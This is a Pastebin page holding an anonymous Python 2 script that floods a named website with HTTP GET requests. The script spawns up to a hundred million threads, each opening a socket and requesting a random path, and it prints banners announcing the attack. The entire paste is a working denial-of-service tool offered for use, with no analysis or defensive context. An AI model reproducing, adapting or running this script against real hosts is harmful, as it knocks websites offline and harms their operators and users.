SHARE
TWEET

Untitled

a guest Nov 14th, 2019 100 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import random
  2. import socket
  3. import string
  4. import sys
  5. import threading
  6. import time
  7.  
  8. # Parse inputs
  9. host = ""
  10. ip = ""
  11. port = 0
  12. num_requests = 0
  13.  
  14. if len(sys.argv) == 2:
  15.     port = 80
  16.     num_requests = 100000000
  17. elif len(sys.argv) == 3:
  18.     port = int(sys.argv[2])
  19.     num_requests = 100000000
  20. elif len(sys.argv) == 4:
  21.     port = int(sys.argv[2])
  22.     num_requests = int(sys.argv[3])
  23. else:
  24.     print "ERROR\n Usage: " + sys.argv[0] + " < Hostname > < Port > < Number_of_Attacks >"
  25.     sys.exit(1)
  26.  
  27. # Convert FQDN to IP
  28. try:
  29.     host = str(sys.argv[1]).replace("https://", "").replace("http://", "").replace("www.", "")
  30.     ip = socket.gethostbyname(host)
  31. except socket.gaierror:
  32.     print " ERROR\n Make sure you entered a correct website"
  33.     sys.exit(2)
  34.  
  35. # Create a shared variable for thread counts
  36. thread_num = 0
  37. thread_num_mutex = threading.Lock()
  38.  
  39.  
  40. # Print thread status
  41. def print_status():
  42.     global thread_num
  43.     thread_num_mutex.acquire(True)
  44.  
  45.     thread_num += 1
  46.     print "\n " + time.ctime().split(" ")[3] + " " + "[" + str(thread_num) + "] #-#-# Hold Your Tears #-#-#"
  47.  
  48.     thread_num_mutex.release()
  49.  
  50.  
  51. # Generate URL Path
  52. def generate_url_path():
  53.     msg = str(string.letters + string.digits + string.punctuation)
  54.     data = "".join(random.sample(msg, 5))
  55.     return data
  56.  
  57.  
  58. # Perform the request
  59. def attack():
  60.     print_status()
  61.     url_path = generate_url_path()
  62.  
  63.     # Create a raw socket
  64.     dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  65.  
  66.     try:
  67.         # Open the connection on that raw socket
  68.         dos.connect((ip, port))
  69.  
  70.         # Send the request according to HTTP spec
  71.         dos.send("GET /%s HTTP/1.1\nHost: %s\n\n" % (url_path, host))
  72.     except socket.error, e:
  73.         print "\n [ No connection, server may be down ]: " + str(e)
  74.     finally:
  75.         dos.shutdown(socket.SHUT_RDWR)
  76.         dos.close()
  77.  
  78. print "[#] Attack started on " + host + " (" + ip + ") || Port: " + str(port) + " || # Requests: " + str(num_requests)
  79.  
  80. all_threads = []
  81. for i in xrange(num_requests):
  82.     t1 = threading.Thread(target=attack)
  83.     t1.start()
  84.     all_threads.append(t1)
  85.  
  86.     time.sleep(0.01)
  87.  
  88. for current_thread in all_threads:
  89.     current_thread.join()  threads
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top